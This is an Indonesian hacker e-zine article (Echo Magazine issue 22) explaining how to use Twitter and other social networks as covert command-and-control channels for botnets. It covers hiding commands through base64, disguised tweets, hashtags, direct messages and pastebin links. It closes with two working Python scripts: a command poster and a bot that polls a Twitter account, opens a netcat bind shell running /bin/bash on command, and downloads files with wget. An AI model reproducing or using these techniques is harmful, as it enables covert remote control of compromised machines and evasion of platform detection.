Copy Link
Add to Bookmark
Report
Echo Magazine Issue 22 Phile 0x010
_| _|
_|_| _|_|_| _|_|_| _|_| _|_|_|_| _|_|_| _|_|
_|_|_|_| _| _| _| _| _| _| _| _| _| _|_|_|_|
_| _| _| _| _| _| _| _| _| _| _|
_|_|_| _|_|_| _| _| _|_| _|_|_|_| _| _| _| _|_|_|
ECHO MAGAZINE VOLUME VIII, ISSUE XXII, PHILE 0x010.TXT
Social Networking: Bot/Botnet Command & Control Center Channel - az001
az001/at/echo/dot/or/dot/id
---[ Pendahuluan
Setelah menulis Local & Underground News pada edisi sebelumnya tentang
Social Networking[1], beberapa bulan kemudian baru saya menyempatkan diri
mencari informasi lebih jauh mengenai salah satu yang dibahas disana,
yakni "Twitter sebagai alat kontrol Bot/Botnet".
Pada tulisan ini saya akan mencoba membahas secara singkat tentang
bagaimana penggunaan situs jejaring sosial sebagai alternatif kanal
untuk mengontrol Bot.
Tidak dibahas bagaimana caranya Bot tersebut akhirnya berada
pada mesin yang diinginkan.
---[ Background
Situs jejaring sosial sebagai salah satu kanal C&C (Command & Control)
sebenarnya hampir sama dengan penggunaan kanal yang lain, IRC misalnya.
Menurut beberapa artikel[2] yang saya baca dan menurut saya memang menarik,
karena jejaring sosial biasanya memiliki jumlah pengguna yang sangat besar
dan setiap harinya menghasilkan data yang sangat besar pula,
itu membuat kita mudah untuk menyembunyikan "perintah"
dan tentunya membuat C&C sulit untuk dideteksi, asyiknya lagi hampir semua
situs jejaring sosial menyediakan API untuk mengakses beragam fitur
yang ada pada situs jejaring sosial tersebut.
---[ Twitter sebagai kanal C&C
Ya, mari kita bahas beberapa kemungkinan yang bisa kita lakukan dalam
penggunaan jejaring sosial sebagai kanal untuk C&C.
Kali ini kita ambil satu contoh situs jejaring sosial yaitu Twitter,
selain itu anda juga dapat menggunakan Facebook, LinkedIn, Friendster,
FourSquare, Koprol, dan sejenisnya.
Sederhananya, Bot akan memonitor akun twitter yang kita buat dan
menjalankan perintah yang kita tulis di akun tersebut.
Cara untuk memonitor akun tersebut juga sederhana,
mulai dari menggunakan RSS feed atau dapat menggunakan API yang telah
disediakan oleh Twitter.
Beberapa cara yang biasa dan dapat dilakukan di Twitter adalah sebagai
berikut :
[1] Status Tweet
Cara yang biasa dan paling mudah dilakukan adalah tentunya dengan
membuat tweet baru, contohnya seperti :
"PING 10.0.0.1"
"SHUTDOWN"
Sayangnya pada contoh diatas, perintah tersebut tentu terlalu mudah
dibaca oleh semua orang.
Diluar sana, biasanya orang membuat akun twitter yang diproteksi,
sehingga hanya user/bot yang diizinkan yang hanya dapat membaca tweet
tersebut.
Sebagian lainnya mengkombinasikan antara akun twitter tersebut dengan
penggunaan base64 untuk menyembunyikannya.
Contohnya seperti :
"UElORyAxMC4xLjEuMQ=="
"U0hVVERPV04="
Kelemahan cara diatas adalah terlalu mudah bagi twitter untuk mencari
akun yang tweetnya mengandung base64
dan memblokir akun tersebut.
Salah satu cara meminimalisir kecurigaan adalah dengan memberikan
perintah yang tidak bisa ditebak maksudnya,
dan bahkan mungkin tidak disadari oleh pengguna twitter yang lain.
Sebagai contoh :
"@temen1 Main game yuk, IP gue 10.0.0.1, nick gue PINGKAN ?"
"echo zine udah keluar, silahkan download di http://ezine.echo.or.id/ezine.tar"
Pesan pertama mengandung arti "ping 10.0.01", "10.0.0.1" menunjukkan
alamat IP dan kata "PINGKAN" menunjukkan perintah ping.
Pada pesan kedua tentu saja "download http://ezine.echo.or.id/ezine.tar",
kata "download" menunjukkan perintah download dan url tersebut tentu saja
menunjukkan alamat file yang akan didownload.
Cara seperti ini tampaknya sulit dideteksi oleh twitter, walaupun pada
implementasinya jika ingin membuat lebih banyak variasi kalimat,
kita harus menyiapkan beberapa kata.
Untuk "permainan" kalimat/kata ini sebenarnya tinggal seberapa kreatif
anda membuatnya :D.
[2] Tweet ke akun acak
Dengan cara ini, kita akan mengirim pesan yang didalamnya adalah
perintah ke akun twitter secara acak, nantinya Bot akan mencari pesan tersebut
(lewat fitur search) dan jika pesan tersebut ditemukan, lalu akan dijalankan.
Ilustrasi 1:
PESAN ACAK PESAN
TUKANGPOS ---------> TWITTER ACC[1,2,3,n] ---> Twitter Acc 2
Pada ilustrasi 1 ini, TUKANGPOS mengirim PESAN yang ternyata
akun twitter nomor 2 yang dikirimi pesan tersebut.
Ilustrasi 2:
|--- Twitter Acc 1
|
|--- Twitter Acc 2
CARI PESAN | PESAN
BOT--> ------------> |-|--- Twitter Acc 3 |-> Twitter Acc 2
| |
|--- Twitter Acc n |
|
V
[ JALANKAN PERINTAH ]
Pada ilustrasi 2 ini, Bot mencari pesan ke seluruh akun twitter
(melalui fitur search twitter),dan ternyata pesan tersebut ditemukan
pada akun twitter 2, lalu Bot menjalankan perintah tersebut.
Cara ini sebenarnya cukup mudah diimplementasikan, asal kita tahu metode
yang bagus untuk mencari pesan tersembunyi tersebut di banyaknya akun twitter
yang bertebaran di seluruh penjuru dunia.
Metode filter hashtag bisa dijadikan contoh, dengan membuat hashtag di twitter,
Bot kita lebih mudah mencarinya. Contoh penggunaan hashtag :
"Main game yuk, server 10.0.0.1, nick gue PINGKAN #gameping"
Walaupun agak sulit untuk twitter mendeteksi dan membedakan apakah akun
tersebut benar akun asli milik orang atau memang akun kita yang sengaja dibuat
untuk kepentingan BOT, jika metode yang kita gunakan sudah diketahui
ya tinggal tunggu waktu untuk mereka mencari solusinya.
Lucunya misalkan terlalu sering menggunakan hashtag yang sama,
bisa jadi nanti malah nongkrong di trending topic twitter =)).
Kelihatannya menggabungkan cara ini dengan "permainan" kata yang telah
dibahas sebelumnya menjadi lumayan ampuh.
[3] Direct Message
Menggunakan Direct Message (DM) menggantikan tweet biasa rupanya juga
bisa menjadi senjata ampuh, DM adalah salah satu fitur yang biasanya
digunakan untuk mengirim pesan dari satu user ke user yang lainnya.
Karena Direct Message ini hanya dapat dibaca oleh 2 user (yang mengirim
dan yang dikirimi), maka agaknya sulit bagi twitter untuk mendeteksi hal ini.
Namun saya tetap menyarankan agar "permainan" kata tetap digabungkan dengan fitur ini,
untuk berjaga jaga jika penggunaan DM semakin sering digunakan untuk hal ini
dan twitter akan lebih waspada.
Jika hal tersebut terjadi maka sebenarnya lebih mudah untuk twitter menutup
2 akun tersebut sekaligus.
[4] Gabungkan dengan Social Network lain
Dengan menggabungkan twitter dengan jejaring sosial lainnya, mungkin
dapat menjadi salah satu alternatif, berikut ini contoh beberapa yang bisa dilakukan.
[a] Twitter + FourSquare
Dengan Foursqure mungkin kita dapat menggabungkan seperti ini :
"Meeting bersama client gogol.com - I'm at Pacific Place.http://4sq.com/9EDS11"
Dari tweet tersebut, sebenarnya bisa saja kita mengartikan bahwa gogol.com adalah target
dan Pacific sebagai perintah "scan", jadi dari tweet diatas bisa diartikan.
"scan gogol.com"
[b] Twitter + TinyPaste
Untuk perintah yang agak panjang, mungkin seperti "ls -al/var/www/" ,
walaupun dapat langsung kita tuliskan di tweet/dm, mungkin salah satu alternatif dapat
digunakannya TinyPaste, seperti :
"Puisi untukmu Adinda, cek disini : http://tinypaste.com/458745"
Jika BOT menemukan tweet ini dan menemukan kata "Puisi" otomatis dia akan
mengunjungi url tinypaste tersebut dan menjalankan isinya.
Dengan penggabungan twitter dengan jejaring sosial dan atau aplikasi web lainnya,
membuat lebih kaya dan agaknya lebih manusiawi, sehingga tidak mudah dicurigai oleh twitter.
Sebenarnya masih banyak cara lainnya selain 4 cara yang sudah disebutkan tadi,
namun banyak dari cara tersebut yang merupakan variasi dari beberapa cara diatas.
Contoh kecilnya adalah seperti mengganti base64 dengan caesar cipher,
mengganti IP dengan huruf ( 10.1.1.1 menjadi J.A.A.A ) dan mungkin juga
dengan bahasa 4l4y ? :p.
---[ Jejaring Sosial lain
Selain Twitter, bisa digunakan beberapa jejaring sosial seperti yang saya
sebutkan diatas, cara yang dilakukan hampir sama dengan yang ada di Twitter,
walaupun ada beberapa perbedaan pada fitur yang ada disana.
Alangkah baiknya menambahkan jejaring sosial lainnya sebagai kanal untuk
C&C, untuk menghindari jaringan twitter down (sering sekali nih :p), akun twitter di blok,
dan lain sebagainya.
---[ Simple Script ( Bot & Tukangpos )
Berikut ini adalah script yang dibuat dengan beberapa contoh perintah yang
dapat digunakan.
Di sini ada dua buah script yang saya buat, tukangpos.py bertugas untuk
post pesan ke twitter dan sample-bot.py bertugas sebagai bot.
Saya menggunakan module twitter-python[3] untuk mengakses API Twitter.
Setelah dibandingkandengan jika langsung membuat melalui httplib / curl dan atau kawan
kawannya,proses pengambilan informasi/perintah dari twitter ternyata lebih cepat
dibandingkan melalui module twitter-python.
Dan salah satu kekurangan menggunakan API Twitter adalah, adanya pembatasan
akses ke API per akun. Sebagai informasi, pada saat tulisan ini dibuat pembatasan[4] penggunaan
API Twitter adalah :
.Post Status/Updates : 1,000 per hari
.API Request : 150 per jam
.Direct Message(s) : 250 per hari
------------------] tukangpos.py [---=
#!/usr/bin/env python
import twitter,sys
def py_posttwit(nickname,password,posttext):
api = twitter.Api(username=nickname,password=password)
if len(posttext)<2:
isisurat=posttext[0]
else:
isisurat=posttext[0] + " " + posttext[1]
status = api.PostUpdate(isisurat)
print isisurat + " " + "dikirim oleh pak pos"
py_posttwit('twitteracc','passwordtwitter',sys.argv[1:])
------------------------ EOF ----------------//
-----------------] sample-bot.py [---=
#!/usr/bin/env python
import twitter,string,time
from subprocess import call
def py_lasttwit(nickname):
api = twitter.Api()
statuses = api.GetUserTimeline(nickname)
x = [s.text for s in statuses]
return x[0]
def py_start_bot(nickname,ttl,reng):
for d in range(1,reng):
cmd = py_lasttwit(nickname)
cmdd = string.split(cmd,' ')
cmdrun = cmdd[0]
if len(cmdd) < 2:
if cmdrun=="BIND":
call(['nc','-lp33','-e/bin/bash'])
else:
print "Sedang menunggu perintah atasan...."
else:
cmdparam = cmdd[1]
if cmdrun=="DL":
call(['wget',cmdparam])
else:
print "Sedang menunggu perintah atasan...."
time.sleep(ttl)
py_start_bot('twitteracc',2,2000)
----------------- EOF ----------//
Note :
.-- Jalankan sample-bot.py terlebih dahulu (perintah BIND bekerja kalau
anda menggunakan root)
.-- Setelah itu jalankan tukangpos.py dengan mengetikkan :
./tukangpost.py BIND atau ./tukangpost.py DL http://target.com/file.zip
.-- Jika anda sedang menjalankan bot dan sudah mengupdate status twitter
nya melalui tukangpos namun bot anda belum juga berganti perintah,
jawabannya adalah : masih ada cache, jika ingin mengubahnya nilai waktu cache,
baca dokumentasi [5] module twitter-python.
.-- Pada script ini, jika tukangpos.py mengirim command yang sama diwaktu
yang sama, maka akan timbul Error :p, silahkan cari solusinya sendiri,
kelihatannya pembatasan ini sengaja dilakukan oleh twitter.
.-- Script ini tidaklah sempurna, ini hanya sekedar contoh, sebenarnya
banyak lagi yang saya ingin tambahkan :p.
---[ Kesimpulan
Penggunaan jejaring sosial sebagai kanal bagi Bot/BotNet agaknya cukup
dapat menambah opsi baru, selain menggunakan IRC sebagai kanalnya.
Sulit terdeteksinya kanal jenis ini mungkin karena merupakan situs yang
populer, sehingga paket data yang diterima oleh Bot berasal dari situs tersebut,
sehingga mungkin sistem administrator/user tidak terlalu curiga akan hal ini.
Permainan kata menjadi faktor penting untuk menjaga kanal kita agar tidak
diketahui penyedia layanan, kemampuan kita membuat Bot Pintar adalah
salah satu tantangan tersendiri.Mungkin bisa mencoba membuat anagram
seperti da vinci code ?.
Tampaknya beberapa bulan kedepan, akan muncul banyak Bot/BotNet yang
memanfaatkan situs jejaring sosial ini sebagai salah satu kanalnya.
Saat tulisan ini ditulis, sudah ada beberapa PoC yang beredar [6] [7]
walaupun pada saat masuk halaman download ternyata tidak ada :D.
Update: ternyata walaupun tidak ditemukan pada halaman downloadnya,
setelah menulis artikel ini saya penasaran mencari PoC tersebut
dan akhirnya saya menemukan PoC[8] yang dirilis saat Defcon 17
yang berlangsung tahun lalu. Saya belum mencoba PoC tersebut,
yang pasti PoC tersebut tentunya lebih baik dari yang saya buat ini :p.
Ya, mudah - mudahan artikel ini dapat bermanfaat bagi kita semua.
---[ Referensi
[1] Local & International News
http://ezine.echo.or.id/ezine21/e21_008.txt
[2] Kreiosc2
http://www.digininja.org/kreiosc2/
[3] Python-Twitter Module
http://code.google.com/p/python-twitter/
[4] Twitter API Help - Rate Limiting
http://help.twitter.com/forums/10711/entries/15364
[5] Python Twitter Module Documentation
http://static.unto.net/python-twitter/0.6/doc/twitter.html
[6] Kreiosc2 - How It Works
http://www.digininja.org/kreiosc2/how_it_works.php
[7] The DIY Twitter Botnet Creator
http://sunbeltblog.blogspot.com/2010/05/diy-twitter-botnet-creator.html
[8] http://www.digininja.org/files/kreiosc2_2.0.tar.bz2 (diakses 27 May 2010)
[9] The Python Language Reference
http://docs.python.org/reference/